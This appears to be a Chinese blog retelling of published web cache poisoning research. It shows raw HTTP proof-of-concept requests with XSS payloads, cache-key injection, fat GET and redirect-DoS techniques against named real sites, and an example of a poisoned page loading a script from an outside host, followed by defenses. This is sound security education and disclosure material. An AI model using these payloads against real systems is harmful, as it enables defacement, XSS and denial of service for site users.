周末闲着没事就来学习下新的思路吧

本文将会介绍Web缓存投毒的各种骚姿势以及利用链,并会搭配相应案例进行讲解,看完你一定会有收获的。Have Fun!

Web缓存投毒基础

Web缓存大家应该都有所了解吧,这是一种典型的用空间换时间的技术。而Web缓存一般分为两种

  • 浏览器缓存
  • Web服务器端缓存

两者原理都是差不多的,只不过缓存的位置不一样,一个是把请求过的资源暂且放在浏览器

这样当用户下一次访问相同资源的时候,就不需要再访问Web服务器了,甚至连网络请求都不用发送出去就可以得到对应的资源

而另一个则是把请求过的资源暂且放在一个专门的缓存服务器上,例如CDN,这样,当下一个用户访问同样的资源时就可以直接从缓存服务器上拿到响应,从而减轻Web服务器的压力

本文所探讨的缓存投毒都是针对服务器端的缓存,浏览器缓存投毒暂不讨论…

不知道大家读完上面的内容是不是有这么一个疑问:

服务器怎么确定两个用户访问的是同一个资源呢?

诶,这个时候就要提到cache key了,这个cache key是用来标识每个请求的,如果两个请求的cache key相同,那么服务端就认为他们是同一个请求,如果此时缓存服务器上已经有该cache key指定的请求对应的资源文件了,就直接从缓存服务器返回一个响应给用户,如果缓存服务器上还没有该资源则把这个请求转发到Web服务器,让Web服务器响应该请求

那么有人又要问了:

那cache key是根据什么规则生成的呢?

其实很简单,就是提取http请求中的某些元素组成一个cache key,一般情况下cache key是由请求方法、路径、query、host头组成。例如下面这样一个http请求

它的cache key就可以为https|GET|portswigger.net|/research?x=1,注意我这里的用词,是“可以为”,也就是说cache key的生成规则不是固定的,不同的网站、应用的cache key生成规则是不一样的,这个是可以自定义的

http请求中没有被用作cache key的部分我们称其为“unkeyed”元素,如果一个unkeyed的元素可以被用来生成一个危险的响应,那么我们就可以利用这个元素来进行缓存投毒,并影响其它用户。

文字阐述可能不是太好理解,那么我举一个🌰,现在有如下场景

可以看到,响应中将请求头X-Forwarded-Host的值直接拼接到meta标签的content属性中了,这是很明显的一处反射型xss

由于输入点是在请求头中,所以利用难度稍微有一点点大

但是,只要我们配合上缓存投毒,这个漏洞一下子变得🐂🍺起来,由于X-Forwarded-Host这个头不是cache key的一部分,所以,以下两个请求被认为是一致的

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>

vs

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com

如果我们先发送第一个请求到服务器,服务器就会返回如下响应,并缓存到缓存服务器中

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/> 

很明显,这是一个存在xss的恶意响应

当其他用户下一次正常访问/en?cb=1页面时,会发送上述第二个请求,由于两个请求的cache key一致,服务器认为他们请求的同一个资源,所以就会把之前我们投毒的恶意缓存返回给用户,从而造成用户被xss

投毒流程大体如下

之前的一些研究

其实在2018年James Kettle就已经针对Web缓存投毒进行过研究了,并发布了一篇paper

https://portswigger.net/research/practical-web-cache-poisoning

这篇paper中主要研究的是利用非标准的http请求头来给缓存投毒,例如X-Forwarded-HostX-Original-URL,当然,这也是比较简单直接的一种投毒方法

但是,本文的内容则不太一样了,本文的研究对象是那些以往经常出现在cache key中的元素,例如host头、path或者query。

当然,如果这些元素是直接放到cache key中作为cache key的一部分的话是不可能被投毒的

但是,我们发现这些元素在放入cache key之前总会被解析、转换或者规范化,正是这些前置操作导致了我们可以利用它们

那么,要怎么利用呢?我们接着往下看

利用方法

Web缓存投毒从挖掘到利用可以归结为下面这张图片

我来大概解释一下这张图:

理解cache的工作机制

首先咱们得找到一处可以利用的缓存页面,那怎样才算是一处可以利用的缓存点呢?需要满足以下几点

  • 该页面会被缓存
  • 我们能够明确知道我们的请求是否命中了缓存(在响应头中可能会有提示)
  • URL回显到响应中或者参数回显到了响应中

只有url或者参数被回显到了响应中我们才可以进行投毒,而且这些回显也可以帮助我们探索cache与web服务器在处理请求上的差异(现在不懂什么意思不要纠结,看完就懂了,接着往下吧)

在最幸运的情况下,服务器会直接告诉我们cache key,这样就省得我们自己探索了,当然,也可能返回给你多个cache key,不要慌张,这些cache key可能适用不同的场景,我们只要找到当前场景下正确的cache key就行

GET /?param=1 HTTP/1.1
Host: example.com
Origin: zxcv
Pragma: akamai-x-get-cache-key, akamai-x-get-true-cache-keyHTTP/1.1 200 OK
X-Cache-Key: /example.com/index.loggedout.html?akamai-transform=9 cid=__Origin=zxcv
X-Cache-Key-Extended-Internal-Use-Only: /example.com/index.loggedout.html?akamai-transform=9 vcd=1234 cid=__Origin=zxcv
X-True-Cache-Key: /example.com/index.loggedout.html vcd=1234 cid=__Origin=zxcv

然后,我们还得进一步搞清楚cache key是根据什么规则形成的,在形成过程中是否有如下情况

  • 转换
  • 规范化
  • 转义
  • 解析

例如去掉特定的参数、去掉请求的所有参数、去掉host头中的端口、url解码等等,在进行完这些操作过后,再把他们放入cache key,这种行为是很危险的

那么要怎么搞清楚服务器是否进行了上述的转换呢?其实很简单,只要发送两个稍微不同的请求并观察第二个是否命中缓存就可以知道

为了便于理解,我们来看一个例子,现在有如下请求,该网站会把host头的内容作为location头的一部分进行跳转

GET / HTTP/1.1
Host: redacted.comHTTP/1.1 301 Moved Permanently
Location: https://redacted.com/en
CF-Cache-Status: MISS

例如,我们要探测目标站点在形成cache key的过程中有没有去掉host头中的端口号,那么我们首先发送如下请求

然后再发送一个host头中没有端口号的请求,并观察它是否命中缓存

如果命中了缓存,这说明网站在生成cache key的过程中的确移除了host头中的port

在这个场景下,我们就可以向缓存投毒,让所有用户都跳转到一个未开放的端口,从而造成Dos攻击

这个漏洞存在于很多CDN厂商上,包括Cloudflare和Fastly,我通知了他们,但是Cloudflare拒绝修复…

注:通常情况下,上面的信息我们可以利用cachekey泄露、 源码、文档等方式获得

利用

利用就没什么好说的了,就是结合其他漏洞或者利用链,一般有三种利用方法

  • 增加反射型漏洞的危害(例如:反射型xss),让每个用户都被威胁
  • 利用js、css等动态文件
  • 利用一些之前不可能被利用的漏洞(浏览器不会发送的一些恶意请求,我们现在可以让缓存服务器帮我们发送)

我知道,后面两种利用场景可能比较难理解,大家也不必急于理解,因为后面会有相应的案例

案例学习

上面说了那么多,可能大家都还处在比较懵的状态,对于某些点不是特别清楚,所以现在咱们来看一些真实的案例,这些案例都是我在各大src中挖到的

Unkeyed Query 探测

在形成cache key的过程中,最常见的转换就是去掉整个query字符串,也就是/axin/handsome.html?true=1这个链接指向的资源,在形成cache key的过程中会去掉?true=1

这种情况下,是比较难发觉目标站点使用了缓存的,你可能会直接认为他是一个静态站点…

对于动态的站点,我们一般可以通过改变参数值的方式来识别,因为动态站点在我们改变某个参数的时候与之对应的响应也会改变,例如:

GET /?q=axin HTTP/1.1
Host: example.comHTTP/1.1 200 OK
<link rel="canonical" href="https://example.com/?q=axin"

但是,当站点在形成cache key的过程中移除掉整个query字符串的情况下,我们就不能够再使用这种方式识别动态站点了,因为你再怎么更改参数甚至是添加一个参数都会得到相同的响应,你不由得会开始思考人生🤔,就像下面这样

GET /?q=canary&cachebuster=1234 HTTP/1.1
Host: example.comHTTP/1.1 200 OK
CF-Cache-Status: HIT<link rel="canonical" href="https://example.com/

除非这个响应中很明显的告诉你它来自缓存,就像上面这个响应一样,响应头中有CF-Cache-Status: HIT,否则你真就可能认为它是一个静态页面了,从而错过一个漏洞。

这种情况对扫描器极不友好,因为扫描器只是重复的发送payload,所以,他们每次都会命中缓存,每次都会拿到相同的响应

那么,要怎么打破这种尴尬的局面呢?

那当然是想办法让我们的请求不命中缓存呀,所以我们可以从被包含到cache key的请求头下手,只要我们让被包含到cache key的请求头不一样,那么就不会命中缓存了,我们也就可以判断出页面是否是静态页面以及query字符串被用在了什么地方,例如用如下请求头

GET /?q=canary&cachebust=nwf4ws HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate, nwf4ws
Accept: */*, text/nwf4ws
Cookie: nwf4ws=1
Origin: https://nwf4ws.example.com

这个方法在某些系统上效果拔群,例如Coludflare,它默认吧origin这个头当做cache key的一部分。

但是,这个方法在另外一些系统上就不那么ok了,这些系统上没有使用origin头作为cache key的一部分,且我使用的这个头可能会对系统造成破坏…

幸运的是,我们还有其他办法挽救,在某些系统上,我们可以使用http方法PURGE和FASTLYPURGE来清除缓存,这在真实环境下是个很好的技巧(投毒搞出大问题还可以一键重置,就问你香不香)

除此之外,我们都知道,大多数的系统都会把path作为cache key的一部分,又因为后端系统存在path规范化,这就导致不同的cache key也可以命中同样的资源,例如针对/目录,在不同系统上有不同的命中方法

Apache: //
Nginx: /%2F
PHP: /index.php/xyz
.NET: /(A(xyz))/

所以,利用这一特性,在真实环境中,为了不影响其他用户,我们可以在确定漏洞存在的同时只对自己投毒

例如,我想//axin/handsome.html页面投毒,可以证明/axin/handsome.html存在漏洞,但是又不影响其他用户,因为正常用户一般不会请求//axin/handsome.html

Unkeyed Query利用

如果你学会了上面的方法,你就会发现更多的漏洞,例如我在一个新闻网站发现的一处反射型xss缓存投毒

Cache Key: https://redacted-newspaper.net//

原本像缓存投毒这种漏洞都是很容易就被别人提交了的,但是,由于目标系统去除掉了整个query字符串,这会迷惑大多数白帽子,让他们以为这是一个静态页面。

由于query字符串没有被包含到cache key中,所以,当用户请求如下页面时会返回被我们投毒后的页面,从而触发xss

GET // HTTP/1.1
Host: redacted-newspaper.netHTTP/1.1 200 OK
...
<meta property="og:url" content="//redacted-newspaper.net//?x"><script>alert(1)</script>"/>
Cache Key: https://redacted-newspaper.net//

上面用了两个/是为了在测试时不影响正常用户

重定向Dos

如果一个站点没有很好利用的xss,我们该咋办呢?

由于我个人比较喜欢向缓存服务提供商投毒,所以,我就一www.cloudflare.com举个例子

Cloudflare的登录页面在dash.cloudflare.com/login,但是很多链接在跳转该页面时都使用的是/login/,注意最后多了一个/,这个斜杠很关键

经过一番探索,我发现目标把query字符串从cache key中去除掉了

GET /login?x=abc HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc
GET /login HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc

一眼看上去,好像这里没啥可以利用的点,但是

我们可以用一点小技巧,把这个请求变为一个Dos攻击,方法很简单,只要我们把query字符串变得更长,直接达到url允许的最大长度:

GET /login?x=very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/

这样,当下一个用户访问这个登录页面时,就会被重定向到我们投毒的地址去

GET /login HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/HTTP/1.1 301 Moved Permanently
Location: /login/?x=very-long-string...

由于我们投毒的query字符串已经达到了url的最大长度,而这次重定向会多一个/,这就导致超出了url允许的最大长度,结果就是服务器不会接受这样一个请求

GET /login/?x=very-long-string... HTTP/1.1
Host: www.cloudflare.com
Origin: https://dontpoisoneveryone/HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: MISS

当我把这个问题提交给Cloudflare时,一开始他们只打算在自己的站点上修复这个问题,但是考虑到使用他们产品的用户太多了,所以,他们采用了全局的防御措施——他们禁用了那些直接将query字符串回显到location头的缓存

可是,这很容易就被绕过了…

GET /login?x=%6cong-string… HTTP/1.1
Host: www.cloudflare.comHTTP/1.1 301 Moved Permanently
Location: /login/?x=long-string…
CF-Cache-Status: HIT

虽然这个问题已经被修复,但是如果你发现其他服务器在把一个query字符串放到location头中前进行了一些其他的转换操作,你仍然有机会绕过防御

缓存参数隐藏

目前为止,我们看到的都是把整个query字符串从cache key去除会造成漏洞。那么如果一个站点只是把某个特定的参数从cache key中去除掉会带来什么后果呢?

理论上,只要一个站点不把整个url回显到响应中就不会有啥问题。但是,在实操的时候,由于站点采用的各种奇奇怪怪的把特定参数从cache key中去除的方法,导致,我们可以方法来污染缓存,我把这种攻击叫做cache parameter cloaking。

例如有这样一个站点,它采用如下正则把参数_从cache key中移除:

set req.http.hash_url = regsuball(req.http.hash_url,"\?_=[^&]+&","?");

然后我们有这样一个请求:

GET /search?q=help?!&search=1 HTTP/1.1
Host: example.com

在这种情况下,我们就可以在不改变cache key的情况下污染参数q

GET /search?q=help?_=payload&!&search=1 HTTP/1.1
Host: example.com

由于正则会把字符串替换为一个?,所以,我们只能向带有问号的参数投毒。其他类似这样的场景还有很多,这些替换规则会给漏洞利用带来很多的限制

Akamai的一个案例

Akamai站点上有这样一个请求

不知道你有没有注意到这个请求的响应中返回了cache key?而且这个cache key中居然没有参数akamai-transform

很明显,Akamai的cache key是不包含akamai-transform参数的,也就是说我们可以向它投毒,而且,由于Akamai那脆弱的URL解析规则,我们可以向任何参数投毒,例如向参数x投毒

GET /en?x=1?akamai-transform=payload-goes-here HTTP/1.1
Host: redacted.comHTTP/1.1 200 OK
X-True-Cache-Key: /L/redacted.akadns.net/en?x=1 vcd=1234 cid=__

Ruby on Rails案例

在测试某一个目标时,我通过扫描器发现了一个奇怪的现象,但是,我又没有找到可利用的缓存点,于是我看了一下目标站点的缓存实现源代码。

而且,后面我发现这个站点是基于Ruby on Rails的,并且Ruby on Rails会把;当做参数分隔符,类似于&,也就是说下面两个链接是等价的

/?param1=test&param2=foo
/?param1=test;param2=foo

这一个把参数utm_content排除在cahche key之外的系统上,对于下面这样一个请求,只会看到一个参数,那就是callback

GET /jsonp?callback=legit&utm_content=x;callback=alert(1)// HTTP/1.1
Host: example.comHTTP/1.1 200 OK
alert(1)//(some-data)
GET /jsonp?callback=legit HTTP/1.1
Host: example.comHTTP/1.1 200 OK
X-Cache: HIT
alert(1)//(some-data)

但是,Rails却看到的是三个参数:callback, utm_content, and callback,由于有两个callback,所以,后一个callback参数的值会覆盖前一个

Unkeyed的方法

有一些系统没有把http请求的方法作为cache key的一部分,这时候我们还可以使用post方法来对cache key隐藏参数,当然,这要求那个接口既支持get方法也支持post方法,并且会把参数回显到响应中

POST /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.com_wvUserWkWebView=a</script><svg onload='alert%26lpar;1%26rpar;'/data-HTTP/1.1 200 OK
…
"_wvUseWKWebView":"a</script><svg onload='alert&lpar;1&rpar;'/data-"},
GET /view/o2o/shop HTTP/1.1
Host: alijk.m.taobao.comHTTP/1.1 200 OK
…
"_wvUseWKWebView":"a</script><svg onload='alert&lpar;1&rpar;'/data-"},

如果你想看更多关于这个的案例,可以移步到:

https://enumerated.wordpress.com/2020/08/05/the-case-of-the-missing-cache-keys/

Fat GET

这是我偶然间在Varnish的release notes中发现的一种手法,release notes如下:

Whenever a request has a body, it will get sent to the backend for a cache miss…
…the builtin.vcl removes the body for GET requests because it is questionable if GET with a body is valid anyway (but some applications use it)

如果某个站点使用了Varnish作为缓存并且没有安装builtin.vcl,且这个站点使用的框架支持get请求中带有body(我将其称之为fat get),那么他就很容易收到攻击

Github就是这样的一个站点,我可以利用Fat get污染所有可缓存的页面,并把参数的值改为我希望的值,例如我可以通过发送如下请求污染举报页面

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22report=innocent-victim

这样一来,下一次举报albinowax这个用户时都会变为举报innocent-victim,刺激不刺激?

对了,这个漏洞GIthub给了10000刀,实名羡慕

Gadgets

从上面的案例我们可以看到,缓存投毒需要结合其他的gadgets才能发挥最大的威力。我们之前已经列举了反射型xss、重定向、登录csrf、jsonp等案例,那么还有其他gadgets吗?

JS、CSS文件在大多数情况下都是静态的,但是也有把query字符串作为文件内容的一部分的情况。但是,他们的危害通常很小,毕竟当我们直接使用浏览器访问这些文件的时候,浏览器是不会执行他们的

但是,他们可以作为缓存投毒的一个不错的目标。

如果,我们可以向这些文件中投毒,那么所有导入了他们的页面就都可以被我们所控制,无论是否跨域。

例如在新版本的css中,支持这样操作

GET /style.css?x=a);@import... HTTP/1.1HTTP/1.1 200 OK@import url(/site/home/index-part1.8a6715a2.css?x=a);@import...

在这个例子中query字符串不是cache key的一部分,所以我们可以对x参数进行投毒

如果一个页面引入了一个没有doctype声明的页css文件,这个文件甚至都不需要text/css这个content-type,浏览器会自动解析整个文件,直到遇到有效的css语法,然后执行css。

这意味着你可以通过触发服务端错误来向一个回显url的css文件投毒,如下:

Cache Key规范化

一个简单的url规范化对于cache key来说都可能是危险的。为了说明问题,我们来看一个通过缓存投毒来关闭firefox更新的案例

firefox会隔三差五发送如下请求检查更新:

GET /?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.orgHTTP/1.1 301 Found
Location: https://download-installer.cdn.mozilla.net/pub/..firefox-73.mar

他的缓存规则大概如下:

server {proxy_cache_key $http_x_forwarded_proto$proxy_host$uri$is_args$args;location / {proxy_pass http://upstream_bouncer;}
}

这个规则设置的看起来没啥问题,但是如果你仔细读一读nginx关于proxy_pass的文档

https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass

你就会发现一个问题:

If proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed

其中提到nginx会原模原样的把请求转发到后端,不会进行任何规范化处理,但是存储到cache key中的请求元素可能被规范化处理。

最常见的规范化就是对存储到cache key中的元素进行urldecode

所以,如果你把?编码过后发送如下请求,将会造成一个错误的重定向

GET /%3fproduct=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.orgHTTP/1.1 301 Found
Location: https://www.mozilla.org/

但是,由于nginx的urldecode,上面这个请求的cache key与下面这个检查更新请求的cache key是一样的

GET /?product=firefox-73.0.1-complete&os=osx&lang=en-GB&force=1 HTTP/1.1
Host: download.mozilla.orgHTTP/1.1 301 Found
Location: https://www.mozilla.org/

这样一来,firefox的更新检查就被禁用了!

Cache神奇的技巧

我们已经看了很多利用方法了,但是还不够,cache投毒还有其他有意思的操作,例如激活某些曾经无论如何也不可能触发的click here to get pwned类型的漏洞

编码-XSS

你也许遇到过下面这种xss,在burp repeater中,这看似就是一个xss:

GET /?x="/><script>alert(1)</script> HTTP/1.1
Host: example.comHTTP/1.1 200 OK
...
<a href="/?x="/><script>alert(1)</script>

但是当你在浏览器中复现时,却发现怎么也复现不了(当然,除了IE),这是因为浏览器都会对特殊的字符进行url编码,并且,服务端不会解码他们

上面的请求,在浏览器中变成了这样:

GET /?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: example.comHTTP/1.1 200 OK
...
<a href="/?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

这个问题曾经只发生在path中的xss,但是如今的浏览器也开始对query中的字符串进行编码了!

幸运的是,因为有cache-key规范化的存在,这两个请求的cache key是一致的,所以,我们只要在burp中先发送一遍第一个请求,然后再引导用户访问第二个请求就可以完成攻击🌶

GET /?x=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: example.comHTTP/1.1 200 OK
X-Cache: HIT
...
<a href="/?x="/><script>alert(1)</script>

Cache key注入

另外一个不可能被利用的场景是那些会影响cache key的漏洞,这种在正常情况下,我们是无法投毒的,例如,下面这个Origin头xss:

GET /?x=2 HTTP/1.1
Origin: '-alert(1)-'HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'<script>…'-alert(1)-'…</script>

这个点确实很难利用,但是如果像Akamai这样不转义分隔符直接将所有的cache key元素拼接成一个字符串的情况呢?

我们可以构造两个拥有相同cache key的不同请求,如下:

GET /?x=2 HTTP/1.1
Origin: '-alert(1)-'__HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'__
GET /?x=2__Origin='-alert(1)-' HTTP/1.1HTTP/1.1 200 OK
X-True-Cache-Key: /D/000/example.com/ cid=x=2__Origin='-alert(1)-'__
X-Cache: TCP_HIT<script>…'-alert(1)'-…</script>

我们先发送第一个请求,然后引导我们的目标访问第二个url,这样就完成了漏洞利用!

当然Akamai已经修复了这个漏洞,但是如果你发现同样的策略适用于host头,那么你就可以完全控制使用该cdn的所有站点

Cloudflare中的cache key注入

轻松搞定了Akamai,我决定试试cloudflare。但是它不想akamai那样在响应头中告诉你cache key,所以我们需要去翻一翻文档,然后我发现默认的cache key组成是这样的:

${header:origin}::${scheme}://${host_header}${uri}

这意味着下面两个请求拥有相同的cache key:

GET /foo.jpg?bar=x HTTP/1.1
Host: example.com
Origin: http://evil.com::http://example.com/foo.jpg?bar=x
GET /foo.jpg?bar=argh::http://example.com/foo.jpg?bar=x HTTP/1.1
Host: example.com
Origin: http://evil.com

但是,我试了一下,发现这两个请求并不一致,于是我发邮件让cloudflare纠正他们的文档,然后我向他们的安全团队解释了这个安全问题,他们承认确实存在这个问题,但是他们不愿意告诉我具体的细节…不过我还是拿到了一件t-shirt。🤣🤣🤣

相对路径重写

这部分我不太熟悉,就不写了,具体可以到原文,原文链接我会贴在文末

应用内部缓存投毒

在我挖掘Adobe博客上的缓存投毒漏洞时,我发送了这样一个请求

然后我的Burp Collaborator server上收到了大量来自他们站点的请求

后来我才知道他们用的是一个叫做WP Rocket Cache的应用级的cache,应用层的缓存通常单独缓存响应并且没有cache key的概念,所以,我发送的这个请求实际上污染了这个站点的所有请求,把他们都导向了我的域名

GET / HTTP/1.1
Host: theblog.adobe.comHTTP/1.1 200 OK
X-Cache: HIT - WP Rocket Cache
...
<script src="https://collaborator-id.psres.net/foo.js"/>
...
<a href="https://collaborator-id.psres.net/post">…

这可不太妙呀,因为我不能撤回这次攻击…于是我赶紧联系了adobe

工具

Param Miner,一款开源的burp插件,具体使用方法见github

https://github.com/portswigger/param-miner

防御

缓存的复杂性使得人们很难对它们的安全性有任何信心。但是,你可以采取一些广泛的方法来避免最糟糕的问题。

  • 首先,避免重写缓存键。相反,重写实际的请求——这样可以获得相同的性能收益,同时大量减少缓存中毒问题的可能性。

  • 第二,确保您的应用程序不支持fat GET请求。

  • 最后,作为深度防御措施,修补由于浏览器限制而被认为不可利用的漏洞,如self-XSS、编码- xss或资源文件中的输入反射。

其他

原文地址:https://portswigger.net/research/web-cache-entanglement

2018年的缓存投毒研究paper: https://portswigger.net/research/practical-web-cache-poisoning

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. JAVA /NodeJS 实习上位机接收下位机串口通信

    Java:https://www.jianshu.com/p/157e14396f3b NodeJS:https://blog.csdn.net/u012612399/article/details/80421730/...

    2024/5/8 12:21:55
  2. Flutter 学习笔记 (十四)时间组件

    原生时间组件 获取选中的时间采用异步的方式,有两种,分别为 Function().then(value{ }) async + value = await Function() 在yaml文件中添加依赖 date_format: ^1.0.8 获取当前时间 DateTime.now() 转换成时间戳 .millisecondsSinceEpoch 时间戳转化为时间 DateTime.fromMi…...

    2024/4/29 9:26:14
  3. 20.8.10 udp 套接字特点 tcp传输方法 传输特点 服务端和客户端重点代码

    前情回顾文件的存储 blob网络编程 什么是网络 : 传输数据 OSI七层模型 : 网络通信标准模型 网络协议 : 通信中双方都遵守的约定 网络地址 : ip port 客户端 / 服务端cookie : 理论问题 这是什么–>具体描述–> 好处/作用是什么–>引申–>我用它干了什么基于udp的网…...

    2024/4/29 9:26:10
  4. 近期刷题总结

    动态规划组 1. 数塔问题(动态规划 + 滚动数组) 经典dp了,学动态规划的第一道例题,给定一个三角形,找出自顶向下的最小路径和。每一步只能移动到下一行中相邻的结点上。 相邻的结点 在这里指的是 下标 与 上一层结点下标 相同或者等于 上一层结点下标 + 1 的两个结点。 [2]…...

    2024/5/3 2:23:53
  5. 我的前端学习1

    HTML标签:标签对大小写不敏感标签:实际上代表了网页中的每一个组成部分语法:<开始标签>标签内容</结束标签>根标签:<HTML></HTML>头部标签:<head></head>内容体标签:<body></body>HTML标签中的属性:1.属性的位置位于开始…...

    2024/5/4 2:55:54
  6. 全排列算法及解决数字搭积木问题

    如果你是做这道题不会,那么你可以看这道题的解题思路,如果你是不太理解全排列算法,那么你可以通过这个题来理解。 题目描述: 小明最近喜欢搭数字积木。一共有10块积木,每个积木上有一个数字,0~9。 搭积木规则: 每个积木放到其它两个积木的上面,并且一定比下面的两个积木…...

    2024/5/1 8:58:29
  7. ECS资源免费领取和安装指导

    文章目录1.搭建自己的简历网站2.打造在线编程环境3. 搭建Linux学习环境3.搭建专属的云笔记 1.搭建自己的简历网站 拥有一个个人简历网页总还是能给自己加分不少的,特别是在互联网企业,简历这种东西一定要新颖并且内容一定要可查,以免给人一种头重脚轻的感觉。 一般来说,主流…...

    2024/4/29 9:25:54
  8. Dynamic Programming 求解第n个Bell数

    Bell数等价于第二类斯特林数,主要用于求集合划分问题:求将1到n个数划分成子集的数量,且子集之间无交集。根据Stirling组合原理可递推出Bell数的递推表达式,即从后往前推:假设已知第n-1个Bell数,那么第n个Bell数就是将第n个数插入到前面排好列的n-1个数的m个子集中;或者第…...

    2024/4/29 9:25:50
  9. Nginx各种优化

    Nginx Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔赛索耶夫为俄罗斯访问量第二的Rambler.ru站点(俄文:Рамблер)开发的,第一个公开版本0.1.0发布于2004年10月4日。 其将源代码以类BSD许可证的形式发布…...

    2024/4/29 9:25:47
  10. 八种方式的单例模式(奥利给!)

    什么是单例模式 简单的说就是同一个类创建的n个对象时是需要花费大量的空间,此时我们可以用单例模式解决空间浪费的情况,保证每次创建的对象是同一个对象,减少n个对空间的开销。 八种创建单例的方式饿汉式(静态常量) 饿汉式(静态代码块) 懒汉式(线程不安全) 懒汉式(线程安…...

    2024/4/29 9:25:43
  11. 【ssl2884】假期【单调队列】【前缀和】

    Description 经过几个月辛勤的工作,FJ决定让奶牛放假。假期可以在1…N天内任意选择一段(需要连续),每一天都有一个享受指数W。但是奶牛的要求非常苛刻,假期不能短于P天,否则奶牛不能得到足够的休息;假期也不能超过Q天,否则奶牛会玩的腻烦。FJ想知道奶牛们能获得的最大享…...

    2024/4/29 9:25:39
  12. TIJ5读书笔记:初始化与清理

    Java 对象初始化详细过程:https://www.runoob.com/w3cnote/java-init-object-process.html 注意:子类、父类的类加载和构造器执行。//父类Animal class Animal { /*8、执行初始化*/ private int i = 9; protected int j; /*7、调用构造方法,创建默认属性和方法,完成后…...

    2024/4/29 9:25:34
  13. centos12课网络管理

    简介 网络接口名称规则NetworkManager服务 网络管理器(NetworkManager)是一个动态网络的控制器与配置系统,它用于当网络设备可用时保持设备和连接开启并激活 默认情况下,CentOS/RHEL 7 已安装网络管理器,并处于启用状态。 查看网络管理程序的状态 systemctl status N…...

    2024/4/29 9:25:30
  14. 力扣打卡——寻找两个正序数组的中位数

    题目:ac代码: class Solution {public double findMedianSortedArrays(int[] nums1, int[] nums2) {int len = nums1.length + nums2.length;int[] arr = new int[len];int index1 = 0;int index2 = 0;int index = 0;while(index1 < nums1.length&&index2 < nu…...

    2024/4/29 9:25:27
  15. Java中的IO流体系以及常用流的使用与分析

    流Stream概念 内存与存储设备之间的传输数据的通道硬盘中所有的数据都是二进制的流的分类 按方向 输入流:将存储设备中的数据读入到内存中 输出流:将内存中的数据写入到存储设备中基于内存而言:读到内存,写入磁盘按单位 字节流:以字节为单位,可以读写所有数据 字符流:以…...

    2024/4/30 13:18:33
  16. 2020让渡居数据科学家笔试题

    感觉智商受到了碾压!!! 【必填】What is your name (中文姓名)? 【必填】What is your resume delivery channel(简历投递渠道)? 【必填】What is your telephone number(用于电话面试)? What is the difference between git merge and git rebase? 两个使用场景是不一样…...

    2024/4/29 9:25:20
  17. linux 查看文件夹/文件大小命令

    Linux命令:查看文件夹和文件大小 1.查看当前目录所有文件大小的命令 ls -lht 返回当前目录下所有文件大小的总和 [root@hadoop1 opt]# ls -lht total 2.7G -rw-r--r--. 1 root root 1.2K Jul 16 10:34 shoppe.csv -rw-r--r--. 1 root root 17K Jul 16 10:33 sendaddr.csv…...

    2024/4/29 9:25:13
  18. Linux系统中的磁盘格式

    一、常见的磁盘格式linux是最传统的磁盘文件系统(filesystem)使用的是EXT2格式,所以要了解 linux 的文件体统就得从认识EXT2开始,而文件系统建在磁盘上的,因此了解物理组成是重点关注的目标。整颗圆盘由以下部分组成:圆形的磁盘盘(主要记录数据部分);机械手臂,与子啊…...

    2024/4/29 9:25:10
  19. Django-model查询[为空、由某字符串开头、由某字符串结尾、包含某字符串],__isnull、__starswith、__endswith、__contains

    使用属性+__isnull就可以判断此字段为空a = DatasClass.objects.filter(name__isnull=True)使用属性+__startswith可以判断属性由某字符串开始的行a = DatasClass.objects.filter(name__startswith=aaa)使用属性+__endswith可以判断属性由某字符串结束的行a = DatasClass.objec…...

    2024/5/7 10:17:10
  20. 奇数码

    你一定玩过八数码游戏,它实际上是在一个33的网格中进行的,1个空格和1~8这8个数字恰好不重不漏地分布在这33的网格中。 例如: 5 2 8 1 3 _ 4 6 7 在游戏过程中,可以把空格与其上、下、左、右四个方向之一的数字交换(如果存在)。 例如在上例中,空格可与左、上、下面的数字交…...

    2024/4/30 19:36:20

最新文章

  1. 代码随想录算法训练营第四十二天| 01背包问题理论基础,416. 分割等和子集

    理论基础&#xff1a; 带你学透0-1背包问题&#xff01;| 关于背包问题&#xff0c;你不清楚的地方&#xff0c;这里都讲了&#xff01;| 动态规划经典问题 | 数据结构与算法_哔哩哔哩_bilibili很多同学对背包问题的理解程度都处于一种黑盒的状态&#xff0c;及时这道题目在力…...

    2024/5/8 14:50:30
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

